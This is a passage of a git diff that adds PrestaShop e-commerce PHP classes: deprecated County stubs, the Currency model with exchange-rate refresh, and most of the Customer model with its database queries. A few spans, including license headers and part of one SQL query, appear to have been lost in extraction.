getCounties($id_state) + { + Tools::displayAsDeprecated(); + return false; + } + + /** + * @deprecated since 1.5 + */ + public function getZipCodes() + { + Tools::displayAsDeprecated(); + return false; + } + + /** + * @deprecated since 1.5 + */ + public function addZipCodes($zip_codes) + { + Tools::displayAsDeprecated(); + return true; + } + + /** + * @deprecated since 1.5 + */ + public function removeZipCodes($zip_codes) + { + Tools::displayAsDeprecated(); + return true; + } + + /** + * @deprecated since 1.5 + */ + public function breakDownZipCode($zip_codes) + { + Tools::displayAsDeprecated(); + return array(0,0); + } + + /** + * @deprecated since 1.5 + */ + public static function getIdCountyByZipCode($id_state, $zip_code) + { + Tools::displayAsDeprecated(); + return false; + } + + /** + * @deprecated since 1.5 + */ + public function isZipCodeRangePresent($zip_codes) + { + Tools::displayAsDeprecated(); + return false; + } + + /** + * @deprecated since 1.5 + */ + public function isZipCodePresent($zip_code) + { + Tools::displayAsDeprecated(); + return false; + } + + /** + * @deprecated since 1.5 + */ + public static function deleteZipCodeByIdCounty($id_county) + { + Tools::displayAsDeprecated(); + return true; + } + + /** + * @deprecated since 1.5 + */ + public static function getIdCountyByNameAndIdState($name, $id_state) + { + Tools::displayAsDeprecated(); + return false; + } + +} + diff --git a/classes/Currency.php b/classes/Currency.php new file mode 100755 index 0000000..9264684 --- /dev/null +++ b/classes/Currency.php @@ -0,0 +1,418 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CurrencyCore extends ObjectModel +{ + public $id; + + /** @var string Name */ + public $name; + + /** @var string Iso code */ + public $iso_code; + + /** @var string Iso code numeric */ + public $iso_code_num; + + /** @var string Symbol for short display */ + public $sign; + + /** @var int bool used for displaying blank between sign and price */ + public $blank; + + /** @var string Conversion rate from euros */ + public $conversion_rate; + + /** @var boolean True if currency has been deleted (staying in database as deleted) */ + public $deleted = 0; + + /** @var int ID used for displaying prices */ + public $format; + + /** @var int bool Display decimals on prices */ + public $decimals; + + /** @var int bool active */ + public $active; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'currency', + 'primary' => 'id_currency', + 'multilang_shop' => true, + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'iso_code' => array('type' => self::TYPE_STRING, 'validate' => 'isLanguageIsoCode', 'required' => true, 'size' => 3), + 'iso_code_num' => array('type' => self::TYPE_STRING, 'validate' => 'isNumericIsoCode', 'size' => 3), + 'blank' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'sign' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 8), + 'format' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'decimals' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'conversion_rate' =>array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true, 'shop' => true), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + /** @var array Currency cache */ + static protected $currencies = array(); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'currencies', + ); + + /** + * contains the sign to display before price, according to its format + * @var string + */ + public $prefix = null; + /** + * contains the sign to display after price, according to its format + * @var string + */ + public $suffix = null; + + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + parent::__construct($id, $id_lang, $id_shop); + // prefix and suffix are convenient shortcut for displaying + // price sign before or after the price number + $this->prefix = $this->format % 2 != 0 ? $this->sign.' ' : ''; + $this->suffix = $this->format % 2 == 0 ? ' '.$this->sign : ''; + } + /** + * Overriding check if currency with the same iso code already exists. + * If it's true, currency is doesn't added. + * + * @see ObjectModelCore::add() + */ + public function add($autodate = true, $nullValues = false) + { + return Currency::exists($this->iso_code, $this->iso_code_num) ? false : parent::add(); + } + + /** + * Check if a curency already exists. + * + * @param int|string $iso_code int for iso code number string for iso code + * @return boolean + */ + public static function exists($iso_code, $iso_code_num, $id_shop = 0) + { + if (is_int($iso_code)) + $id_currency_exists = Currency::getIdByIsoCodeNum((int)$iso_code_num, (int)$id_shop); + else + $id_currency_exists = Currency::getIdByIsoCode($iso_code, (int)$id_shop); + + if ($id_currency_exists) + return true; + else + return false; + } + + public function deleteSelection($selection) + { + if (!is_array($selection)) + die(Tools::displayError()); + + foreach ($selection as $id) + { + $obj = new Currency((int)($id)); + $res[$id] = $obj->delete(); + } + + foreach ($res as $value) + if (!$value) + return false; + return true; + } + + public function delete() + { + if ($this->id == Configuration::get('PS_CURRENCY_DEFAULT')) + { + $result = Db::getInstance()->getRow('SELECT `id_currency` FROM '._DB_PREFIX_.'currency WHERE `id_currency` != '.(int)($this->id).' AND `deleted` = 0'); + if (!$result['id_currency']) + return false; + Configuration::updateValue('PS_CURRENCY_DEFAULT', $result['id_currency']); + } + $this->deleted = 1; + return $this->update(); + } + + /** + * Return formated sign + * + * @param string $side left or right + * @return string formated sign + */ + public function getSign($side = null) + { + if (!$side) + return $this->sign; + $formated_strings = array( + 'left' => $this->sign.' ', + 'right' => ' '.$this->sign + ); + + $formats = array( + 1 => array('left' => &$formated_strings['left'], 'right' => ''), + 2 => array('left' => '', 'right' => &$formated_strings['right']), + 3 => array('left' => &$formated_strings['left'], 'right' => ''), + 4 => array('left' => '', 'right' => &$formated_strings['right']), + 5 => array('left' => '', 'right' => &$formated_strings['right']) + ); + + return ($formats[$this->format][$side]); + } + + /** + * Return available currencies + * + * @return array Currencies + */ + public static function getCurrencies($object = false, $active = 1) + { + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'currency` c + '.Shop::addSqlAssociation('currency', 'c').' + WHERE `deleted` = 0' + .($active == 1 ? ' AND c.`active` = 1' : '').' + GROUP BY c.id_currency + ORDER BY `name` ASC'; + $tab = Db::getInstance()->executeS($sql); + if ($object) + foreach ($tab as $key => $currency) + $tab[$key] = Currency::getCurrencyInstance($currency['id_currency']); + return $tab; + } + + public static function getCurrenciesByIdShop($id_shop = 0) + { + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'currency` c + LEFT JOIN `'._DB_PREFIX_.'currency_shop` cs ON (cs.`id_currency` = c.`id_currency`) + '.($id_shop != 0 ? ' WHERE cs.`id_shop` = '.(int)$id_shop : '').' + GROUP BY c.id_currency + ORDER BY `name` ASC'; + + return Db::getInstance()->executeS($sql); + } + + + public static function getPaymentCurrenciesSpecial($id_module, $id_shop = null) + { + if (is_null($id_shop)) + $id_shop = Context::getContext()->shop->id; + + $sql = 'SELECT * + FROM '._DB_PREFIX_.'module_currency + WHERE id_module = '.(int)$id_module.' + AND id_shop ='.(int)$id_shop; + return Db::getInstance()->getRow($sql); + } + + public static function getPaymentCurrencies($id_module, $id_shop = null) + { + if (is_null($id_shop)) + $id_shop = Context::getContext()->shop->id; + + $sql = 'SELECT c.* + FROM `'._DB_PREFIX_.'module_currency` mc + LEFT JOIN `'._DB_PREFIX_.'currency` c ON c.`id_currency` = mc.`id_currency` + WHERE c.`deleted` = 0 + AND mc.`id_module` = '.(int)$id_module.' + AND c.`active` = 1 + AND mc.id_shop = '.(int)$id_shop.' + ORDER BY c.`name` ASC'; + return Db::getInstance()->executeS($sql); + } + + public static function checkPaymentCurrencies($id_module, $id_shop = null) + { + if (empty($id_module)) + return false; + + if (is_null($id_shop)) + $id_shop = Context::getContext()->shop->id; + + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'module_currency` + WHERE `id_module` = '.(int)$id_module.' + AND `id_shop` = '.(int)$id_shop; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + public static function getCurrency($id_currency) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'currency` + WHERE `deleted` = 0 + AND `id_currency` = '.(int)($id_currency)); + } + + /** + * @static + * @param $iso_code + * @param int $id_shop + * @return int + */ + public static function getIdByIsoCode($iso_code, $id_shop = 0) + { + $query = Currency::getIdByQuery($id_shop); + $query->where('iso_code = \''.pSQL($iso_code).'\''); + + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query->build()); + } + + /** + * @static + * @param $iso_code + * @param int $id_shop + * @return int + */ + public static function getIdByIsoCodeNum($iso_code_num, $id_shop = 0) + { + $query = Currency::getIdByQuery($id_shop); + $query->where('iso_code_num = \''.pSQL($iso_code_num).'\''); + + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query->build()); + } + + /** + * @static + * @param int $id_shop + * @return DbQuery + */ + public static function getIdByQuery($id_shop = 0) + { + $query = new DbQuery(); + $query->select('c.id_currency'); + $query->from('currency', 'c'); + $query->where('deleted = 0'); + + if (Shop::isFeatureActive() && $id_shop > 0) + { + $query->leftJoin('currency_shop', 'cs', 'cs.id_currency = c.id_currency'); + $query->where('id_shop = '.(int)$id_shop); + } + return $query; + } + + /** + * Refresh the currency conversion rate + * The XML file define conversion rate for each from a default currency ($isoCodeSource). + * + * @param $data XML content which contains all the conversion rates + * @param $isoCodeSource The default currency used in the XML file + * @param $defaultCurrency The default currency object + */ + public function refreshCurrency($data, $isoCodeSource, $defaultCurrency) + { + // fetch the conversion rate of the default currency + $conversion_rate = 1; + if ($defaultCurrency->iso_code != $isoCodeSource) + { + foreach ($data->currency as $currency) + if ($currency['iso_code'] == $defaultCurrency->iso_code) + { + $conversion_rate = round((float)$currency['rate'], 6); + break; + } + } + + if ($defaultCurrency->iso_code == $this->iso_code) + $this->conversion_rate = 1; + else + { + if ($this->iso_code == $isoCodeSource) + $rate = 1; + else + { + foreach ($data->currency as $obj) + if ($this->iso_code == strval($obj['iso_code'])) + { + $rate = (float)$obj['rate']; + break; + } + } + + if (isset($rate)) + $this->conversion_rate = round($rate / $conversion_rate, 6); + } + $this->update(); + } + + public static function getDefaultCurrency() + { + $id_currency = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + if ($id_currency == 0) + return false; + + return new Currency($id_currency); + } + + public static function refreshCurrencies() + { + // Parse + if (!$feed = Tools::simplexml_load_file('http://api.prestashop.com/xml/currencies.xml')) + return Tools::displayError('Cannot parse feed.'); + + // Default feed currency (EUR) + $isoCodeSource = strval($feed->source['iso_code']); + + if (!$default_currency = Currency::getDefaultCurrency()) + return Tools::displayError('No default currency'); + + $currencies = Currency::getCurrencies(true, false); + foreach ($currencies as $currency) + if ($currency->id != $default_currency->id) + $currency->refreshCurrency($feed->list, $isoCodeSource, $default_currency); + } + + /** + * Get current currency + * + * @deprecated as of 1.5 use $context->currency instead + * @return Currency + */ + public static function getCurrent() + { + Tools::displayAsDeprecated(); + return Context::getContext()->currency; + } + + public static function getCurrencyInstance($id) + { + if (!isset(self::$currencies[$id])) + self::$currencies[(int)($id)] = new Currency($id); + return self::$currencies[(int)($id)]; + } +} + diff --git a/classes/Customer.php b/classes/Customer.php new file mode 100755 index 0000000..ed32f2e --- /dev/null +++ b/classes/Customer.php @@ -0,0 +1,861 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CustomerCore extends ObjectModel +{ + public $id; + + public $id_shop; + + public $id_shop_group; + + /** @var string Secure key */ + public $secure_key; + + /** @var string protected note */ + public $note; + + /** @var integer Gender ID */ + public $id_gender = 0; + + /** @var integer Default group ID */ + public $id_default_group; + + /** @var integer Current language used by the customer */ + public $id_lang; + + /** @var string Lastname */ + public $lastname; + + /** @var string Firstname */ + public $firstname; + + /** @var string Birthday (yyyy-mm-dd) */ + public $birthday = null; + + /** @var string e-mail */ + public $email; + + /** @var boolean Newsletter subscription */ + public $newsletter; + + /** @var string Newsletter ip registration */ + public $ip_registration_newsletter; + + /** @var string Newsletter ip registration */ + public $newsletter_date_add; + + /** @var boolean Opt-in subscription */ + public $optin; + + /** @var string WebSite **/ + public $website; + + /** @var string Company */ + public $company; + + /** @var string SIRET */ + public $siret; + + /** @var string APE */ + public $ape; + + /** @var float Outstanding allow amount (B2B opt) */ + public $outstanding_allow_amount = 0; + + /** @var integer Show public prices (B2B opt) */ + public $show_public_prices = 0; + + /** @var int Risk ID (B2B opt) */ + public $id_risk; + + /** @var integer Max payment day */ + public $max_payment_days = 0; + + /** @var integer Password */ + public $passwd; + + /** @var datetime Password */ + public $last_passwd_gen; + + /** @var boolean Status */ + public $active = true; + + /** @var boolean Status */ + public $is_guest = 0; + + /** @var boolean True if carrier has been deleted (staying in database as deleted) */ + public $deleted = 0; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + public $years; + public $days; + public $months; + + /** @var int customer id_country as determined by geolocation */ + public $geoloc_id_country; + /** @var int customer id_state as determined by geolocation */ + public $geoloc_id_state; + /** @var string customer postcode as determined by geolocation */ + public $geoloc_postcode; + + /** @var boolean is the customer logged in */ + public $logged = 0; + + /** @var int id_guest meaning the guest table, not the guest customer */ + public $id_guest; + + public $groupBox; + + protected $webserviceParameters = array( + 'fields' => array( + 'id_default_group' => array('xlink_resource' => 'groups'), + 'id_lang' => array('xlink_resource' => 'languages'), + 'newsletter_date_add' => array(), + 'ip_registration_newsletter' => array(), + 'last_passwd_gen' => array('setter' => null), + 'secure_key' => array('setter' => null), + 'deleted' => array(), + 'passwd' => array('setter' => 'setWsPasswd'), + ), + 'associations' => array( + 'groups' => array('resource' => 'group'), + ) + ); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'customer', + 'primary' => 'id_customer', + 'fields' => array( + 'secure_key' => array('type' => self::TYPE_STRING, 'validate' => 'isMd5', 'copy_post' => false), + 'lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'required' => true, 'size' => 128), + 'passwd' => array('type' => self::TYPE_STRING, 'validate' => 'isPasswd', 'required' => true, 'size' => 32), + 'last_passwd_gen' => array('type' => self::TYPE_STRING, 'copy_post' => false), + 'id_gender' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'birthday' => array('type' => self::TYPE_DATE, 'validate' => 'isBirthDate'), + 'newsletter' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'newsletter_date_add' => array('type' => self::TYPE_DATE,'copy_post' => false), + 'ip_registration_newsletter' => array('type' => self::TYPE_STRING, 'copy_post' => false), + 'optin' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'website' => array('type' => self::TYPE_STRING, 'validate' => 'isUrl'), + 'company' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'siret' => array('type' => self::TYPE_STRING, 'validate' => 'isSiret'), + 'ape' => array('type' => self::TYPE_STRING, 'validate' => 'isApe'), + 'outstanding_allow_amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'copy_post' => false), + 'show_public_prices' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'id_risk' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'copy_post' => false), + 'max_payment_days' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'copy_post' => false), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'note' => array('type' => self::TYPE_HTML, 'validate' => 'isCleanHtml', 'size' => 65000, 'copy_post' => false), + 'is_guest' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'copy_post' => false), + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'copy_post' => false), + 'id_default_group' => array('type' => self::TYPE_INT, 'copy_post' => false), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'copy_post' => false), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'copy_post' => false), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'copy_post' => false), + ), + ); + + protected static $_defaultGroupId = array(); + protected static $_customerHasAddress = array(); + protected static $_customer_groups = array(); + + public function __construct($id = null) + { + $this->id_default_group = (int)Configuration::get('PS_CUSTOMER_GROUP'); + parent::__construct($id); + } + + public function add($autodate = true, $null_values = true) + { + $this->id_shop = ($this->id_shop) ? $this->id_shop : Context::getContext()->shop->id; + $this->id_shop_group = ($this->id_shop_group) ? $this->id_shop_group : Context::getContext()->shop->id_shop_group; + $this->id_lang = ($this->id_lang) ? $this->id_lang : Context::getContext()->language->id; + $this->birthday = (empty($this->years) ? $this->birthday : (int)$this->years.'-'.(int)$this->months.'-'.(int)$this->days); + $this->secure_key = md5(uniqid(rand(), true)); + $this->last_passwd_gen = date('Y-m-d H:i:s', strtotime('-'.Configuration::get('PS_PASSWD_TIME_FRONT').'minutes')); + + if ($this->newsletter && !Validate::isDate($this->newsletter_date_add)) + $this->newsletter_date_add = date('Y-m-d H:i:s'); + + if ($this->id_default_group == Configuration::get('PS_CUSTOMER_GROUP')) + if ($this->is_guest) + $this->id_default_group = (int)Configuration::get('PS_GUEST_GROUP'); + else + $this->id_default_group = (int)Configuration::get('PS_CUSTOMER_GROUP'); + + /* Can't create a guest customer, if this feature is disabled */ + if ($this->is_guest && !Configuration::get('PS_GUEST_CHECKOUT_ENABLED')) + return false; + $success = parent::add($autodate, $null_values); + $this->updateGroup($this->groupBox); + return $success; + } + + public function update($nullValues = false) + { + $this->birthday = (empty($this->years) ? $this->birthday : (int)$this->years.'-'.(int)$this->months.'-'.(int)$this->days); + + if ($this->newsletter && !Validate::isDate($this->newsletter_date_add)) + $this->newsletter_date_add = date('Y-m-d H:i:s'); + if (isset(Context::getContext()->controller) && Context::getContext()->controller->controller_type == 'admin') + $this->updateGroup($this->groupBox); + + if ($this->deleted) + { + $addresses = $this->getAddresses((int)Configuration::get('PS_LANG_DEFAULT')); + foreach ($addresses as $address) + { + $obj = new Address((int)$address['id_address']); + $obj->delete(); + } + } + + return parent::update(true); + } + + public function delete() + { + if (!count(Order::getCustomerOrders((int)$this->id))) + { + $addresses = $this->getAddresses((int)Configuration::get('PS_LANG_DEFAULT')); + foreach ($addresses as $address) + { + $obj = new Address((int)$address['id_address']); + $obj->delete(); + } + } + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'customer_group` WHERE `id_customer` = '.(int)$this->id); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'message WHERE id_customer='.(int)$this->id); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'specific_price WHERE id_customer='.(int)$this->id); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'compare WHERE id_customer='.(int)$this->id); + + $carts = Db::getInstance()->executes('SELECT id_cart + FROM '._DB_PREFIX_.'cart + WHERE id_customer='.(int)$this->id); + if ($carts) + foreach ($carts as $cart) + { + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'cart WHERE id_cart='.(int)$cart['id_cart']); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'cart_product WHERE id_cart='.(int)$cart['id_cart']); + } + + $cts = Db::getInstance()->executes('SELECT id_customer_thread + FROM '._DB_PREFIX_.'customer_thread + WHERE id_customer='.(int)$this->id); + if ($cts) + foreach ($cts as $ct) + { + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'customer_thread WHERE id_customer_thread='.(int)$ct['id_customer_thread']); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'customer_message WHERE id_customer_thread='.(int)$ct['id_customer_thread']); + } + + CartRule::deleteByIdCustomer((int)$this->id); + return parent::delete(); + } + + /** + * Return customers list + * + * @return array Customers + */ + public static function getCustomers() + { + $sql = 'SELECT `id_customer`, `email`, `firstname`, `lastname` + FROM `'._DB_PREFIX_.'customer` + WHERE 1 '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + ORDER BY `id_customer` ASC'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Return customer instance from its e-mail (optionnaly check password) + * + * @param string $email e-mail + * @param string $passwd Password is also checked if specified + * @return Customer instance + */ + public function getByEmail($email, $passwd = null, $ignore_guest = true) + { + if (!Validate::isEmail($email) || ($passwd && !Validate::isPasswd($passwd))) + die (Tools::displayError()); + + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'customer` + WHERE `email` = \''.pSQL($email).'\' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + '.(isset($passwd) ? 'AND `passwd` = \''.Tools::encrypt($passwd).'\'' : '').' + AND `deleted` = 0'. + ($ignore_guest ? ' AND `is_guest` = 0' : ''); + + $result = Db::getInstance()->getRow($sql); + + if (!$result) + return false; + $this->id = $result['id_customer']; + foreach ($result as $key => $value) + if (key_exists($key, $this)) + $this->{$key} = $value; + + return $this; + } + + /** + * Retrieve customers by email address + * + * @static + * @param $email + * @return array + */ + public static function getCustomersByEmail($email) + { + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'customer` + WHERE `email` = \''.pSQL($email).'\' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER); + + return Db::getInstance()->ExecuteS($sql); + } + + + /** + * Check id the customer is active or not + * + * @return boolean customer validity + */ + public static function isBanned($id_customer) + { + if (!Validate::isUnsignedId($id_customer)) + return true; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_customer` + FROM `'._DB_PREFIX_.'customer` + WHERE `id_customer` = \''.(int)$id_customer.'\' + AND active = 1 + AND `deleted` = 0'); + if (isset($result['id_customer'])) + return false; + return true; + } + + /** + * Check if e-mail is already registered in database + * + * @param string $email e-mail + * @param $return_id boolean + * @param $ignore_guest boolean, to exclude guest customer + * @return Customer ID if found, false otherwise + */ + public static function customerExists($email, $return_id = false, $ignore_guest = true) + { + if (!Validate::isEmail($email)) + { + if (defined('_PS_MODE_DEV_') && _PS_MODE_DEV_) + die (Tools::displayError('Invalid email')); + else + return false; + } + + $sql = 'SELECT `id_customer` + FROM `'._DB_PREFIX_.'customer` + WHERE `email` = \''.pSQL($email).'\' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER). + ($ignore_guest ? ' AND `is_guest` = 0' : ''); + $result = Db::getInstance()->getRow($sql); + + if ($return_id) + return $result['id_customer']; + return isset($result['id_customer']); + } + + /** + * Check if an address is owned by a customer + * + * @param integer $id_customer Customer ID + * @param integer $id_address Address ID + * @return boolean result + */ + public static function customerHasAddress($id_customer, $id_address) + { + $key = (int)$id_customer.'-'.(int)$id_address; + if (!array_key_exists($id_address, self::$_customerHasAddress)) + { + self::$_customerHasAddress[$key] = (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_address` + FROM `'._DB_PREFIX_.'address` + WHERE `id_customer` = '.(int)$id_customer.' + AND `id_address` = '.(int)$id_address.' + AND `deleted` = 0'); + } + return self::$_customerHasAddress[$key]; + } + + public static function resetAddressCache($id_customer) + { + if (array_key_exists($id_customer, self::$_customerHasAddress)) + unset(self::$_customerHasAddress[$id_customer]); + } + + /** + * Return customer addresses + * + * @param integer $id_lang Language ID + * @return array Addresses + */ + public function getAddresses($id_lang) + { + $sql = 'SELECT DISTINCT a.*, cl.`name` AS country, s.name AS state, s.iso_code AS state_iso + FROM `'._DB_PREFIX_.'address` a + LEFT JOIN `'._DB_PREFIX_.'country` c ON (a.`id_country` = c.`id_country`) + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.`id_country` = cl.`id_country`) + LEFT JOIN `'._DB_PREFIX_.'state` s ON (s.`id_state` = a.`id_state`) + '.(Context::getContext()->shop->getGroup()->share_order ? '' : Shop::addSqlAssociation('country', 'c')).' + WHERE `id_lang` = '.(int)$id_lang.' AND `id_customer` = '.(int)$this->id.' AND a.`deleted` = 0'; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Count the number of addresses for a customer + * + * @param integer $id_customer Customer ID + * @return integer Number of addresses + */ + public static function getAddressesTotalById($id_customer) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT COUNT(`id_address`) + FROM `'._DB_PREFIX_.'address` + WHERE `id_customer` = '.(int)$id_customer.' + AND `deleted` = 0' + ); + } + + /** + * Check if customer password is the right one + * + * @param string $passwd Password + * @return boolean result + */ + public static function checkPassword($id_customer, $passwd) + { + if (!Validate::isUnsignedId($id_customer) || !Validate::isMd5($passwd)) + die (Tools::displayError()); + + $sql = 'SELECT `id_customer` + FROM `'._DB_PREFIX_.'customer` + WHERE `id_customer` = '.$id_customer.' + AND `passwd` = \''.$passwd.'\''; + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + /** + * Light back office search for customers + * + * @param string $query Searched string + * @return array Corresponding customers + */ + public static function searchByName($query) + { + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'customer` + WHERE ( + `email` LIKE \'%'.pSQL($query).'%\' + OR `id_customer` LIKE \'%'.pSQL($query).'%\' + OR `lastname` LIKE \'%'.pSQL($query).'%\' + OR `firstname` LIKE \'%'.pSQL($query).'%\' + )'.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Search for customers by ip address + * + * @param string $ip Searched string + */ + public static function searchByIp($ip) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT c.* + FROM `'._DB_PREFIX_.'customer` c + LEFT JOIN `'._DB_PREFIX_.'guest` g ON g.id_customer = c.id_customer + LEFT JOIN `'._DB_PREFIX_.'connections` co ON g.id_guest = co.id_guest + WHERE co.`ip_address` = \''.ip2long(trim($ip)).'\''); + } + + /** + * Return several useful statistics about customer + * + * @return array Stats + */ + public function getStats() + { + $result = Db::getInstance()->getRow(' + SELECT COUNT(`id_order`) AS nb_orders, SUM(`total_paid` / o.`conversion_rate`) AS total_orders + FROM `'._DB_PREFIX_.'orders` o + WHERE o.`id_customer` = '.(int)$this->id.' + AND o.valid = 1'); + + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(c.`date_add`) AS last_visit + FROM `'._DB_PREFIX_.'guest` g + LEFT JOIN `'._DB_PREFIX_.'connections` c ON c.id_guest = g.id_guest + WHERE g.`id_customer` = '.(int)$this->id); + + $result3 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT (YEAR(CURRENT_DATE)-YEAR(c.`birthday`)) - (RIGHT(CURRENT_DATE, 5)executeS(' + SELECT c.date_add, COUNT(cp.id_page) AS pages, TIMEDIFF(MAX(cp.time_end), c.date_add) as time, http_referer,INET_NTOA(ip_address) as ipaddress + FROM `'._DB_PREFIX_.'guest` g + LEFT JOIN `'._DB_PREFIX_.'connections` c ON c.id_guest = g.id_guest + LEFT JOIN `'._DB_PREFIX_.'connections_page` cp ON c.id_connections = cp.id_connections + WHERE g.`id_customer` = '.(int)$this->id.' + GROUP BY c.`id_connections` + ORDER BY c.date_add DESC + LIMIT 10'); + } + + /* + * Specify if a customer already in base + * + * @param $id_customer Customer id + * @return boolean + */ + // DEPRECATED + public function customerIdExists($id_customer) + { + return Customer::customerIdExistsStatic((int)$id_customer); + } + + public static function customerIdExistsStatic($id_customer) + { + $row = Db::getInstance()->getRow(' + SELECT `id_customer` + FROM '._DB_PREFIX_.'customer c + WHERE c.`id_customer` = '.(int)$id_customer); + + return isset($row['id_customer']); + } + + /** + * Update customer groups associated to the object + * + * @param array $list groups + */ + public function updateGroup($list) + { + $this->cleanGroups(); + if ($list && !empty($list)) + $this->addGroups($list); + else + $this->addGroups(array($this->id_default_group)); + } + + public function cleanGroups() + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'customer_group` WHERE `id_customer` = '.(int)$this->id); + } + + public function addGroups($groups) + { + foreach ($groups as $group) + { + $row = array('id_customer' => (int)$this->id, 'id_group' => (int)$group); + Db::getInstance()->insert('customer_group', $row); + } + } + + public static function getGroupsStatic($id_customer) + { + if (!Group::isFeatureActive()) + return array(Configuration::get('PS_CUSTOMER_GROUP')); + + if ($id_customer == 0) + self::$_customer_groups[$id_customer] = array((int)Configuration::get('PS_UNIDENTIFIED_GROUP')); + + if (!isset(self::$_customer_groups[$id_customer])) + { + self::$_customer_groups[$id_customer] = array(); + $result = Db::getInstance()->executeS(' + SELECT cg.`id_group` + FROM '._DB_PREFIX_.'customer_group cg + WHERE cg.`id_customer` = '.(int)$id_customer); + foreach ($result as $group) + self::$_customer_groups[$id_customer][] = (int)$group['id_group']; + } + return self::$_customer_groups[$id_customer]; + } + + public function getGroups() + { + return Customer::getGroupsStatic((int)$this->id); + } + + /** + * @deprecated since 1.5 + */ + public function isUsed() + { + Tools::displayAsDeprecated(); + return false; + } + + public function getBoughtProducts() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.id_order = od.id_order + WHERE o.valid = 1 AND o.`id_customer` = '.(int)$this->id); + } + + public static function getDefaultGroupId($id_customer) + { + if (!Group::isFeatureActive()) + return Configuration::get('PS_CUSTOMER_GROUP'); + + if (!isset(self::$_defaultGroupId[(int)$id_customer])) + self::$_defaultGroupId[(int)$id_customer] = 